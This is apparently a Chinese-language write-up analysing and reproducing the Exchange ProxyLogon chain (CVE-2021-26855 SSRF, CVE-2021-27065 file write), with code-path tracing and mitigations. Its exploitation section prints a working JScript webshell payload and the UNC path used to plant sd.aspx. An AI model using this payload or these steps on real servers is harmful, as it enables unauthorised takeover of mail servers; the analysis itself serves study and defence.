CVE-2021–26855与CVE-2021–27065漏洞分析及复现
字数 1759 2025-08-05 00:15:37

Exchange Server漏洞分析:CVE-2021-26855与CVE-2021-27065

漏洞概述

微软在2021年3月披露了Exchange邮件服务器的两个高危漏洞:

  • CVE-2021-26855:服务器端请求伪造(SSRF)漏洞
  • CVE-2021-27065:任意文件写入漏洞

这两个漏洞配合使用可以在未授权的情况下向Exchange服务器写入webshell,危害极大。

CVE-2021-26855 (SSRF)分析

漏洞位置

位于Exchange服务器的C:\Program Files\Microsoft\ExchangeServer\V15\FrontEnd\HttpProxy\bin\Microsoft.Exchange.FrontEndHttpProxy.dll文件中。

漏洞触发流程

  1. 请求处理入口

    • ProxyModule.OnPostAuthorizeRequest函数处理POST请求的安全检查
    • 调用OnPostAuthorizeInternal函数
  2. 处理未认证请求

    • 调用SelectHandlerForUnauthenticatedRequest函数
    • 根据URL中的web子目录(如/ecp/)生成不同的httpHandler
    • 当ProtocolType为"ecp"时,使用BEResourceRequestHandler
  3. 条件判断

    • BEResourceRequestHandler.CanHandle方法需要满足两个条件:
      • GetBEResouceCookie返回真(需要请求cookies中包含X-BEResource字段)
      • IsResourceRequest返回真(请求路径需以.js/.png等结尾)
  4. 后端请求处理

    • 调用ProxyRequestHandler.BeginProcessRequest()
    • 创建线程调用BeginCalculateTargetBackEnd
    • 最终调用InternalBeginCalculateTargetBackEndResolveAnchorMailbox
  5. SSRF实现

    • BackEndServer.FromString函数解析X-BEResource字段
    • 使用~符号分割字符串,前半段作为fqdn(全限定域名),后半段作为version
    • 通过ProxyRequestHandler.CreateServerRequest将URI发送给后端服务器
    • 绕过认证检查,实现SSRF攻击

CVE-2021-27065 (任意文件写入)分析

漏洞前提

需要管理员账号权限才能触发,但CVE-2021-26855漏洞可提供管理员权限。

漏洞利用步骤

  1. 登录管理员账号
  2. 进入服务器管理界面:服务器 → 虚拟目录 → OAB
  3. 编辑OAB配置,在"外部链接"中写入恶意脚本:
    http://aaa/<script language="JScript" runat="server">function Page_Load(){eval(Request["SD"],"unsafe");}</script>
    
  4. 保存配置后选择"重置虚拟目录"
  5. 指定shell写入位置为:\\127.0.0.1\c$\inetpub\wwwroot\aspnet_client\sd.aspx
  6. 验证webshell是否成功写入

漏洞复现步骤

环境准备

  • 搭建Exchange服务器环境
  • 确保服务器可访问

复现流程

  1. 利用CVE-2021-26855

    • 构造特殊请求,包含X-BEResource cookie
    • 请求路径以资源文件结尾(如.js/.png)
    • 触发SSRF漏洞获取管理员权限
  2. 利用CVE-2021-27065

    • 使用获取的权限登录管理界面
    • 修改OAB配置,插入恶意脚本
    • 重置虚拟目录,写入webshell
  3. 验证利用结果

    • 检查目标路径是否成功写入webshell
    • 尝试通过webshell执行命令

防御措施

  1. 及时安装微软发布的补丁
  2. 限制Exchange服务器的外部访问
  3. 监控异常的管理操作和文件写入
  4. 实施最小权限原则,限制管理员账户的使用

参考资源

  1. Praetorian博客:Reproducing ProxyLogon Exploit
  2. 技术社区分析文章
  3. 知乎专栏分析

总结

这两个漏洞组合形成了Exchange服务器的重大安全威胁,攻击者可以在未授权的情况下完全控制邮件服务器。理解漏洞原理和利用方式对于防御此类攻击至关重要。

Exchange Server漏洞分析:CVE-2021-26855与CVE-2021-27065 漏洞概述 微软在2021年3月披露了Exchange邮件服务器的两个高危漏洞: CVE-2021-26855 :服务器端请求伪造(SSRF)漏洞 CVE-2021-27065 :任意文件写入漏洞 这两个漏洞配合使用可以在未授权的情况下向Exchange服务器写入webshell,危害极大。 CVE-2021-26855 (SSRF)分析 漏洞位置 位于Exchange服务器的 C:\Program Files\Microsoft\ExchangeServer\V15\FrontEnd\HttpProxy\bin\Microsoft.Exchange.FrontEndHttpProxy.dll 文件中。 漏洞触发流程 请求处理入口 : ProxyModule.OnPostAuthorizeRequest 函数处理POST请求的安全检查 调用 OnPostAuthorizeInternal 函数 处理未认证请求 : 调用 SelectHandlerForUnauthenticatedRequest 函数 根据URL中的web子目录(如/ecp/)生成不同的httpHandler 当ProtocolType为"ecp"时,使用 BEResourceRequestHandler 条件判断 : BEResourceRequestHandler.CanHandle 方法需要满足两个条件: GetBEResouceCookie 返回真(需要请求cookies中包含X-BEResource字段) IsResourceRequest 返回真(请求路径需以.js/.png等结尾) 后端请求处理 : 调用 ProxyRequestHandler.BeginProcessRequest() 创建线程调用 BeginCalculateTargetBackEnd 最终调用 InternalBeginCalculateTargetBackEnd 和 ResolveAnchorMailbox SSRF实现 : BackEndServer.FromString 函数解析X-BEResource字段 使用 ~ 符号分割字符串,前半段作为fqdn(全限定域名),后半段作为version 通过 ProxyRequestHandler.CreateServerRequest 将URI发送给后端服务器 绕过认证检查,实现SSRF攻击 CVE-2021-27065 (任意文件写入)分析 漏洞前提 需要管理员账号权限才能触发,但CVE-2021-26855漏洞可提供管理员权限。 漏洞利用步骤 登录管理员账号 进入服务器管理界面:服务器 → 虚拟目录 → OAB 编辑OAB配置,在"外部链接"中写入恶意脚本: 保存配置后选择"重置虚拟目录" 指定shell写入位置为: \\127.0.0.1\c$\inetpub\wwwroot\aspnet_client\sd.aspx 验证webshell是否成功写入 漏洞复现步骤 环境准备 搭建Exchange服务器环境 确保服务器可访问 复现流程 利用CVE-2021-26855 : 构造特殊请求,包含X-BEResource cookie 请求路径以资源文件结尾(如.js/.png) 触发SSRF漏洞获取管理员权限 利用CVE-2021-27065 : 使用获取的权限登录管理界面 修改OAB配置,插入恶意脚本 重置虚拟目录,写入webshell 验证利用结果 : 检查目标路径是否成功写入webshell 尝试通过webshell执行命令 防御措施 及时安装微软发布的补丁 限制Exchange服务器的外部访问 监控异常的管理操作和文件写入 实施最小权限原则,限制管理员账户的使用 参考资源 Praetorian博客:Reproducing ProxyLogon Exploit 技术社区分析文章 知乎专栏分析 总结 这两个漏洞组合形成了Exchange服务器的重大安全威胁,攻击者可以在未授权的情况下完全控制邮件服务器。理解漏洞原理和利用方式对于防御此类攻击至关重要。